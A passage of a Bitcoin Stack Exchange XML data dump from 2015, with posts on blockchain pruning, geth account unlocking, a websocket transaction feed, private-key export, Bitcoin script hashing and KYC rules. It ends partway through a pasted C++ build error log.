  <row Id="40911" PostTypeId="2" ParentId="40906" CreationDate="2015-10-16T10:32:24.847" Score="3" Body="&lt;p&gt;Your question is a little unclear as it only talks about storing, and not really about validating the entire blockchain. Storing is actually not the problem. Recent versions of Bitcoin Core support crude pruning and work is underway to make it more flexible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to be truly trustless a full node still needs to download and validate the entire history of all blocks (even if deleting that history seconds later). This is what David Schwartz answer comes from: you need a complete history to know whether a transactions was NOT in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in that regard pruning doesn't help mobile devices much.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-10-16T10:32:24.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40912" PostTypeId="2" ParentId="30727" CreationDate="2015-10-16T12:03:01.123" Score="10" Body="&lt;p&gt;You could check by starting a &lt;a href=&quot;https://github.com/ethereum/go-ethereum/wiki/geth&quot; rel=&quot;noreferrer&quot;&gt;geth console&lt;/a&gt; and using the &lt;a href=&quot;https://github.com/ethereum/go-ethereum/wiki/JavaScript-Console#personalunlockaccount&quot; rel=&quot;noreferrer&quot;&gt;personal.unlockAccount&lt;/a&gt; function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ geth console&#xA;&amp;gt; personal.unlockAccount(&quot;address&quot;, &quot;password&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24905" LastEditorUserId="5935" LastEditDate="2015-10-17T12:20:27.723" LastActivityDate="2015-10-17T12:20:27.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40913" PostTypeId="1" AcceptedAnswerId="40955" CreationDate="2015-10-16T18:59:07.663" Score="4" ViewCount="1300" Body="&lt;p&gt;I would like to check quotes from multiple bitcoin exchanges in a single, aggregated place. Is there such a service or at least something in that direction out there? Or do I have to connect to each and every exchange and get their market data by myself?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2015-10-20T18:18:54.680" Title="Is there a liquidity aggregator service for bitcoins?" Tags="|exchanges|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40914" PostTypeId="2" ParentId="40913" CreationDate="2015-10-16T19:03:09.813" Score="0" Body="&lt;p&gt;I think coindesk is able to do what you are looking for. Not sure if this is all of them but its quite a few of the more popular exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/price/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/price/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Scratch this as it seems you are looking for liquidity. I apologize.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-16T19:03:09.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40915" PostTypeId="2" ParentId="40906" CreationDate="2015-10-16T19:39:03.883" Score="1" Body="&lt;p&gt;Because in order to obtain the current state of account balances in Bitcoin (for example to calculate your wallet balance) , you need to process the entire blockchain from the very beginning. There is no way to partially download the blockchain and verify your account balance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two connected reasons for this. Firstly, blocks only records the movements of funds (i.e, Alice send Bob 10 coins), and do not record account balance (i.e, Alice has 10 coins).  Secondly, proof of work demands that you download the chain with the most amount of work (hashing) behind it. The only way to verify which chain has the most work is to download every single block and add up the amount of work behind each chain. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2015-10-17T16:53:51.297" LastActivityDate="2015-10-17T16:53:51.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40918" PostTypeId="2" ParentId="40893" CreationDate="2015-10-17T02:02:03.570" Score="2" Body="&lt;p&gt;If you are looking how to display the live transaction feed on the blockchain you should check out this step-by-step tutorial on using their websocket API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BROKEN LINK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do websocket and only want a &quot;plain vanilla&quot; JSON array of the most recent unconfirmed transactions you can simply use &lt;a href=&quot;https://blockchain.info/unconfirmed-transactions?format=json&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/unconfirmed-transactions?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Link no longer available, pasted below    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;script src=&quot;http://code.jquery.com/jquery-1.11.0.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;&#xA;var btcs = new WebSocket('wss://ws.blockchain.info/inv');&#xA;&#xA;btcs.onopen = function()&#xA;&#xA;    {&#xA;&#xA;    btcs.send( JSON.stringify( {&quot;op&quot;:&quot;unconfirmed_sub&quot;} ) );&#xA;&#xA;    };&#xA;&#xA;&#xA;btcs.onmessage = function(onmsg)&#xA;&#xA;    {&#xA;&#xA;    var response = JSON.parse(onmsg.data);&#xA;&#xA;    var amount = response.x.out[0].value;&#xA;&#xA;    var calAmount = amount / 100000000;&#xA;&#xA;    $('#messages').prepend(&quot;&amp;lt;p&amp;gt;&quot; + calAmount + &quot;&amp;lt;/p&amp;gt;&quot;);&#xA;&#xA;    }&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;messages&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we started by creating the variable &lt;code&gt;var btcs&lt;/code&gt; and then we had that be equal to the new websocket connection. Now that we have a connection to the websocket we need to send it a message and tell blockchain.info which information we are interested in receiving. We are going to use the &lt;code&gt;onopen&lt;/code&gt; and &lt;code&gt;send&lt;/code&gt; properties on our &lt;code&gt;btcs&lt;/code&gt; variable and create a function that subscribes us to &lt;code&gt;{&quot;op&quot;:&quot;unconfirmed_sub&quot;}&lt;/code&gt; which is new transactions to the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JSON.stringify&lt;/code&gt; will send a JSON request to the websocket server telling it that we want to receive updates on new transactions to the network. At this point the server will start sending &quot;messages&quot; to the client everytime there is a new transaction. We need to tell javascript what to do everytime a message is received using the &lt;code&gt;onmessage&lt;/code&gt; command. Create a new function using &lt;code&gt;onmessage&lt;/code&gt; and I'm going to name the function &lt;code&gt;onmsg&lt;/code&gt;. Within that function we will parse the JSON using the data command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you could stick this script into an HTML document and when you run it, it will start shooting out all the new transactions as objects in JSON format into your browsers debug/console. If you look at it you'll notice they all start with &lt;code&gt;utx&lt;/code&gt; and then all the transaction data is under &lt;code&gt;x&lt;/code&gt;. The data within the &lt;code&gt;x&lt;/code&gt; array includes &lt;code&gt;input&lt;/code&gt; and &lt;code&gt;out&lt;/code&gt;. If we want info form the input area we would call the &lt;code&gt;response&lt;/code&gt; variable and then add in &lt;code&gt;.x.input&lt;/code&gt;. However there can be multiple inputs and outs so we have to clarify which one. If we add in stright brackets and put a zero [0]that will get us information on the first item in the array. Here's an example that will get the BTC amount that was received by the first output.&lt;/p&gt;&#xA;" OwnerUserId="26873" LastEditorUserId="26873" LastEditDate="2019-03-17T05:16:30.957" LastActivityDate="2019-03-17T05:16:30.957" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="40919" PostTypeId="2" ParentId="40889" CreationDate="2015-10-17T02:06:37.913" Score="1" Body="&lt;p&gt;You are looking for the export section on blockchain.info. This will provide you with your private key(s) so you can then import them on Multibit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the &quot;import/export&quot; tab there will be an option to export your private-keys for every address in your wallet. There is also an import function that allows you to import a private-key into your blockchain.info wallet. You can click on export unencrypted and it will display your public and private-keys in a JSON output. The long string of what seems to be random characters after the &quot;priv&quot; is actually your private-key. The string of characters after the &quot;addr&quot; is your address. As you can see in my example there is more than one key exported. If you wanted to you could copy the private-key and then import it into another wallet program. This would allow you to access this address from more than one wallet service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TQHL7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQHL7.jpg&quot; alt=&quot;Exporting Keys on Blockchain.info&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Never show anyone your private-keys.&#xA;I am only showing these keys for demonstration purposes.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-10-17T02:06:37.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40920" PostTypeId="2" ParentId="40913" CreationDate="2015-10-17T02:18:25.823" Score="0" Body="&lt;p&gt;Yes, bitcoinaverage will do that for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.bitcoinaverage.com/all&quot; rel=&quot;nofollow&quot;&gt;https://api.bitcoinaverage.com/all&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will provide a JSON array for all of the exchanges! Now you can just query that one URL and pick out which exchange an info you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of info available for an exchange:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;bter&quot;: {&#xA;    &quot;display_URL&quot;: &quot;https://bter.com/&quot;,&#xA;    &quot;display_name&quot;: &quot;Bter&quot;,&#xA;    &quot;rates&quot;: {&#xA;      &quot;ask&quot;: 1741.88,&#xA;      &quot;bid&quot;: 1736.41,&#xA;      &quot;last&quot;: 1741.88&#xA;    },&#xA;    &quot;source&quot;: &quot;cache&quot;,&#xA;    &quot;volume_btc&quot;: 120.39,&#xA;    &quot;volume_percent&quot;: 9.33&#xA;  },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-10-17T02:18:25.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40922" PostTypeId="1" CreationDate="2015-10-17T15:55:23.107" Score="4" ViewCount="206" Body="&lt;p&gt;What are some pitfalls if you use non-standard ascii characters in your brainwallet? Say if you were to use asian language characters? Or even extended ascii characters (&lt;a href=&quot;http://www.theasciicode.com.ar/ascii-control-characters/delete-ascii-code-127.html&quot; rel=&quot;nofollow&quot;&gt;http://www.theasciicode.com.ar/ascii-control-characters/delete-ascii-code-127.html&lt;/a&gt;) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some pitfalls by doing this? would it make your brain wallet incompatible in the futre? Pros/cons?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-10-20T02:49:30.710" Title="Would it be wise and extra secure to use non-ascii characters in a brain wallet?" Tags="|security|private-key|wallet-security|brain-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40923" PostTypeId="2" ParentId="40876" CreationDate="2015-10-17T16:09:58.783" Score="1" Body="&lt;p&gt;I'm very curious why does Armory scan the private key I have imported takes for a long time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, sweeping a bitcoin from a paper wallet should be very simple.&#xA;Install and use a Mycelium wallet app on your phone. Scan the QR private key on the paper wallet and send it to the Armory's QR receiving address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you are using the Mycelium wallet as a bridge and nothing is compromised. You can also just throw away the paper wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just maybe the problem is with pycoin. I'm trying to use an offline bitaddress.org to import my private key to Armory. &lt;/p&gt;&#xA;" OwnerUserId="29979" LastActivityDate="2015-10-17T16:09:58.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40924" PostTypeId="1" AcceptedAnswerId="40925" CreationDate="2015-10-17T19:27:43.653" Score="5" ViewCount="597" Body="&lt;p&gt;I am new to bitcoin. When I use this online &lt;a href=&quot;http://webbtc.com/script&quot; rel=&quot;noreferrer&quot;&gt;'Script Execution'&lt;/a&gt; site, to calculate the SHA256 hash of 1, I get &lt;strong&gt;4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a&lt;/strong&gt;&#xA;but using any other online calculator you get a different result &lt;strong&gt;6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&lt;/strong&gt;&#xA;So probably OP_SHA256 is not what I think, or something happens to input after 1 is pushed into stack. &lt;/p&gt;&#xA;" OwnerUserId="29915" LastActivityDate="2015-11-19T02:42:10.563" Title="OP_SHA256 mismatch!" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40925" PostTypeId="2" ParentId="40924" CreationDate="2015-10-17T21:12:15.647" Score="13" Body="&lt;p&gt;Your conflict is caused because you are hashing different values in the two situations. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import hashlib&#xA;&amp;gt;&amp;gt;&amp;gt; hashlib.sha256(&quot;1&quot;).hexdigest()&#xA;'6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your online tools are showing the hash of the string &quot;1&quot;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; hashlib.sha256(&quot;\x01&quot;).hexdigest()&#xA;'4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin script stack elements are bytes, for &lt;code&gt;OP_1&lt;/code&gt; this is &lt;code&gt;01&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-11-19T02:42:10.563" LastActivityDate="2015-11-19T02:42:10.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40926" PostTypeId="1" CreationDate="2015-10-17T22:10:06.537" Score="2" ViewCount="95" Body="&lt;p&gt;Can I have my hot wallet running on Linux and my cold wallet running on a mac?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to use armory as the bitcoin client, I wanted to use linux ( ubuntu 14.4) for the hot wallet and when signing transactions I put the usb into a mac.&lt;/p&gt;&#xA;" OwnerUserId="29989" LastActivityDate="2015-10-17T23:31:59.557" Title="Armory on Linux" Tags="|linux|mac|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40927" PostTypeId="2" ParentId="40926" CreationDate="2015-10-17T23:31:59.557" Score="1" Body="&lt;p&gt;There should be no incompatibility with this setup. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-10-17T23:31:59.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40930" PostTypeId="2" ParentId="34319" CreationDate="2015-10-18T11:30:50.323" Score="1" Body="&lt;p&gt;&lt;strong&gt;Hey Friends,&lt;br&gt;&#xA;I run the the Antminer U3 with Minera 0.6.1 and the latest official cgminer on my raspberry PI 1 B -&gt; Stable arround 60 GH/s with these Extra settings: &lt;/strong&gt; &lt;br&gt;&#xA;--au3-volt 825 --au3-freq 237.5         &lt;strong&gt; = 60 GH/s &lt;/strong&gt;&lt;br&gt;&#xA;--au3-volt 825 --au3-freq 225.0         &lt;strong&gt; = 55 GH/s &lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;---&gt; It will start everytime with 4 HW errors, but then after some minutes it will go stable&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5755" LastActivityDate="2015-10-18T11:30:50.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40931" PostTypeId="2" ParentId="28228" CreationDate="2015-10-18T14:13:07.827" Score="0" Body="&lt;p&gt;The bitcoin network hashrate estimate on bitcoinwatch.com passed 1 exaFLOPS (1,000 petaFLOPS) which is over 8 times the combined speed of the top 500 supercomputers.&#xA;Bitcoin network does this by using ASICs. Therefore a supercomputer cannot mine al the bitcoins in matter of hours.&#xA;Even if they could have, they have much better work to do...&lt;/p&gt;&#xA;" OwnerUserId="30005" LastActivityDate="2015-10-18T14:13:07.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40932" PostTypeId="1" AcceptedAnswerId="40938" CreationDate="2015-10-18T16:41:16.097" Score="4" ViewCount="3704" Body="&lt;p&gt;The vast majority of the Bitcoin trading platforms both in the US and the UK require some sort of ID verification in order to make Deposits/Withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this because of these two countries current legislation? does this obey to some sort of policy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="30009" LastEditorUserId="37414" LastEditDate="2019-12-24T08:52:03.847" LastActivityDate="2020-05-21T19:35:18.697" Title="Why do most trading platforms require ID Verification?" Tags="|trading|usa|aml|know-your-customer|uk|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40934" PostTypeId="1" CreationDate="2015-10-18T17:40:42.337" Score="2" ViewCount="644" Body="&lt;p&gt;I am planning to build on top of Stellar a unified universal gateway+trading platform(all frequencies) for banks and financial institutions to power ultrafast international payment transfers in fiat/crypto currencies, automated equity and forex trading as well as interbank transactions involving trade financing instruments e.g. Conditional Lines of Credit, LCs and Bank Guarantees. I plan to write its low-latency backend in C++ and frontend will comprise of a PID server in combination with a web/JavaScript site as GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PID server monitors the PID’s of the strategies/transactions running on the server and executes the commands as they come. The server could consist of a webserver listening on port 8888 with a simple JSON interface, to make it super flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I use Stellar API to accomplish my goal? &lt;/p&gt;&#xA;" OwnerUserId="30014" LastActivityDate="2015-12-19T23:23:37.683" Title="How do I use Stellar API to power my Universal Trading and Multicurrency Payment+Transacton Gateway?" Tags="|transactions|development|protocol|ripple-gateways|stellar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40935" PostTypeId="1" AcceptedAnswerId="40936" CreationDate="2015-10-18T17:44:16.107" Score="-2" ViewCount="580" Body="&lt;p&gt;How much will one bitcoin cost when the 21 millionth bitcoin (the last one) is mined? All I know is that the price is supposed to  only get higher the fewer coins there are to be mined.&lt;/p&gt;&#xA;" OwnerUserId="30013" LastEditorUserId="5406" LastEditDate="2015-10-19T09:25:18.537" LastActivityDate="2015-10-19T09:25:18.537" Title="How much will one bitcoin cost when the 21 millionth bitcoin (the last one) is mined?" Tags="|exchange-rate|money-supply|reward-schedule|" AnswerCount="1" CommentCount="1" ClosedDate="2015-10-19T09:36:01.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="40936" PostTypeId="2" ParentId="40935" CreationDate="2015-10-18T18:14:59.957" Score="4" Body="&lt;p&gt;&lt;em&gt;Nobody knows.&lt;/em&gt;  It depends on what the demand is for Bitcoins by that time.  If everything goes as planned, the last bitcoin will be mined about 125 years from now, and I don't think anyone has a good idea what the world's economy will look by then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One extreme possibility is that Bitcoin becomes the world's one global currency.  To get a very rough estimate of what one bitcoin might be worth in this situation, we could note that there are currently &lt;a href=&quot;http://www.federalreserve.gov/faqs/currency_12773.htm&quot; rel=&quot;nofollow&quot;&gt;1.39 trillion US dollars in circulation&lt;/a&gt;.  If all this value was to be stored in 21 million bitcoins, then one bitcoin would need to be worth roughly US$66,190.  If you want the Bitcoin to replace other currencies as well, this number might be a few times larger.  Then you should increase it some more to take into account the amount of extra currency that will be needed for the economy of the year 2140 (which, if things continue as they have been, will likely be much larger than today's, even adjusted for inflation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another extreme is that sometime between now and then, people lose interest in Bitcoin as a currency, and by 2140 nobody is using it at all except a handful of hobbyists, much like the situation in the first few years of Bitcoin's existence.  In that case, one bitcoin might be worth only a small fraction of a penny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, maybe in the next 125 years, we will achieve a post-scarcity economy, and nobody will have any use for the concept of &quot;money&quot;.  Or maybe humanity will be extinct.  &lt;em&gt;Nobody knows&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-10-18T18:14:59.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40938" PostTypeId="2" ParentId="40932" CreationDate="2015-10-18T22:10:13.490" Score="5" Body="&lt;p&gt;In the US, these are called &quot;Know your Customer&quot;, and &quot;Anti Money Laundering&quot; (KYC/AML) laws and is enforced by FINCEN (financial crimes enforcement network) in the US for any businesses that qualifies as a &quot;Money Service Business&quot; or &quot;Money Transmitter&quot;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This guidance published on March 2013, &lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;noreferrer&quot;&gt;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&lt;/a&gt; , makes it clear that Bitcoin exchanges must comply with existing regulation for KYC/AML. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-10-18T22:10:13.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40939" PostTypeId="1" CreationDate="2015-10-18T22:21:13.433" Score="5" ViewCount="534" Body="&lt;p&gt;It is my understanding that the false positive addresses generated by an SPV bloom filter do not need to necessarily be on the blockchain (ie. be addresses that have been used already).&#xA;Is that a correct way of thinking about SPV bloom filters?  &lt;/p&gt;&#xA;" OwnerUserId="30017" LastEditorUserId="24573" LastEditDate="2016-10-27T17:36:13.897" LastActivityDate="2016-10-27T17:36:13.897" Title="SPV Bloom filter construction, are false positives taken from the blockchain or just due to matching with other addresses" Tags="|bitcoinj|spv|bip37-bloom-filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40940" PostTypeId="2" ParentId="24940" CreationDate="2015-10-18T22:49:36.857" Score="3" Body="&lt;p&gt;See this paper for a good discussion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://eprint.iacr.org/2014/763.pdf&quot; rel=&quot;nofollow&quot;&gt;On the Privacy Provisions of Bloom Filters in Lightweight&#xA;Bitcoin Clients&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30017" LastActivityDate="2015-10-18T22:49:36.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40941" PostTypeId="2" ParentId="28228" CreationDate="2015-10-19T00:06:00.837" Score="0" Body="&lt;p&gt;The Bitcoin network self-adjusts for the amount of hashpower available in total. This ensures that it will always take, on average, 10 minutes to mine a single block, regardless of the amount of hashpower on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically as the total hashpower on the network goes up, a parameter called &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_is_difficulty_stored_in_blocks.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;bits&lt;/a&gt; in the block headers goes down. This means that the amount of effort that miners have to expend to mine a block increases. If the hashpower of the network were to increase by a factor of 10, then the &lt;em&gt;bits&lt;/em&gt; value would adjust such that the network would require 10 times more hashpower to mine each block as before. This has already happened many times over the lifespan of Bitcoin - modern ASICs are millions of times more powerful than the CPUs that were originally used to mine Bitcoin blocks. Yet the time to generate a block remains at 10 minutes on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, there will never be a computer &lt;em&gt;fast enough&lt;/em&gt; to mine  all blocks in just a few hours - not even in theory. All Bitcoins will be mined by &lt;a href=&quot;https://bitcoin.stackexchange.com/q/10486/2116&quot;&gt;approximately the year 2140&lt;/a&gt; but not before.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-10-19T00:06:00.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40942" PostTypeId="1" CreationDate="2015-10-19T06:25:20.110" Score="2" ViewCount="318" Body="&lt;p&gt;I am trying to run the make install command on the shadow-plugin-bitcoin simulator and this is the error that I get. I've been trying to solve it but I can't find the right solution. Please help, thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scanning dependencies of target shadow-bitcoin-bitcode&#xA;[  0%] Building LLVM bitcode version.cpp.bc&#xA;[  1%] Building LLVM bitcode addrman.cpp.bc&#xA;[  1%] Building LLVM bitcode alert.cpp.bc&#xA;[  1%] Building LLVM bitcode base58.cpp.bc&#xA;[  2%] Building LLVM bitcode allocators.cpp.bc&#xA;[  2%] Building LLVM bitcode bloom.cpp.bc&#xA;[  2%] Building LLVM bitcode chainparams.cpp.bc&#xA;[  3%] Building LLVM bitcode checkpoints.cpp.bc&#xA;[  3%] Building LLVM bitcode coins.cpp.bc&#xA;[  4%] Building LLVM bitcode core.cpp.bc&#xA;[  4%] Building LLVM bitcode crypter.cpp.bc&#xA;[  4%] Building LLVM bitcode hash.cpp.bc&#xA;[  5%] Building LLVM bitcode init.cpp.bc&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:563:9: error: reference to 'int64_t' is ambiguous&#xA;        int64_t n = 0;&#xA;        ^&#xA;/usr/include/x86_64-linux-gnu/sys/types.h:197:1: note: candidate found by name lookup is 'int64_t'&#xA;__intN_t (64, __DI__);&#xA;^&#xA;/usr/include/x86_64-linux-gnu/sys/types.h:188:15: note: expanded from macro '__intN_t'&#xA;  typedef int int##N##_t __attribute__ ((__mode__ (MODE)))&#xA;              ^&#xA;&amp;lt;scratch space&amp;gt;:126:1: note: expanded from here&#xA;int64_t&#xA;^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/boost_1_50_0/boost/cstdint.hpp:308:50: note: candidate found by name lookup is 'boost::int64_t'&#xA;     typedef  ::boost::long_long_type            int64_t;&#xA;                                                 ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:564:46: error: use of undeclared identifier 'n'&#xA;        if (ParseMoney(mapArgs[&quot;-mintxfee&quot;], n) &amp;amp;&amp;amp; n &amp;gt; 0)&#xA;                                             ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:564:52: error: use of undeclared identifier 'n'&#xA;        if (ParseMoney(mapArgs[&quot;-mintxfee&quot;], n) &amp;amp;&amp;amp; n &amp;gt; 0)&#xA;                                                   ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:565:39: error: use of undeclared identifier 'n'&#xA;            CTransaction::nMinTxFee = n;&#xA;                                      ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:571:9: error: reference to 'int64_t' is ambiguous&#xA;        int64_t n = 0;&#xA;        ^&#xA;/usr/include/x86_64-linux-gnu/sys/types.h:197:1: note: candidate found by name lookup is 'int64_t'&#xA;__intN_t (64, __DI__);&#xA;^&#xA;/usr/include/x86_64-linux-gnu/sys/types.h:188:15: note: expanded from macro '__intN_t'&#xA;  typedef int int##N##_t __attribute__ ((__mode__ (MODE)))&#xA;              ^&#xA;&amp;lt;scratch space&amp;gt;:126:1: note: expanded from here&#xA;int64_t&#xA;^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/boost_1_50_0/boost/cstdint.hpp:308:50: note: candidate found by name lookup is 'boost::int64_t'&#xA;     typedef  ::boost::long_long_type            int64_t;&#xA;                                                 ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:572:51: error: use of undeclared identifier 'n'&#xA;        if (ParseMoney(mapArgs[&quot;-minrelaytxfee&quot;], n) &amp;amp;&amp;amp; n &amp;gt; 0)&#xA;                                                  ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:572:57: error: use of undeclared identifier 'n'&#xA;        if (ParseMoney(mapArgs[&quot;-minrelaytxfee&quot;], n) &amp;amp;&amp;amp; n &amp;gt; 0)&#xA;                                                        ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:573:44: error: use of undeclared identifier 'n'&#xA;            CTransaction::nMinRelayTxFee = n;&#xA;                                           ^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/bitcoin/src/init.cpp:627:5: error: reference to 'int64_t' is ambiguous&#xA;    int64_t nStart;&#xA;    ^&#xA;/usr/include/x86_64-linux-gnu/sys/types.h:197:1: note: candidate found by name lookup is 'int64_t'&#xA;__intN_t (64, __DI__);&#xA;^&#xA;/usr/include/x86_64-linux-gnu/sys/types.h:188:15: note: expanded from macro '__intN_t'&#xA;  typedef int int##N##_t __attribute__ ((__mode__ (MODE)))&#xA;              ^&#xA;&amp;lt;scratch space&amp;gt;:126:1: note: expanded from here&#xA;int64_t&#xA;^&#xA;/home/smthethwa/shadow-plugin-bitcoin/build/boost_1_50_0/boost/cstdint.hpp:308:50: note: candidate found by name lookup is 'boost::int64_t'&#xA;     typedef  ::boost::long_long_type            int64_t;&#xA;                                                 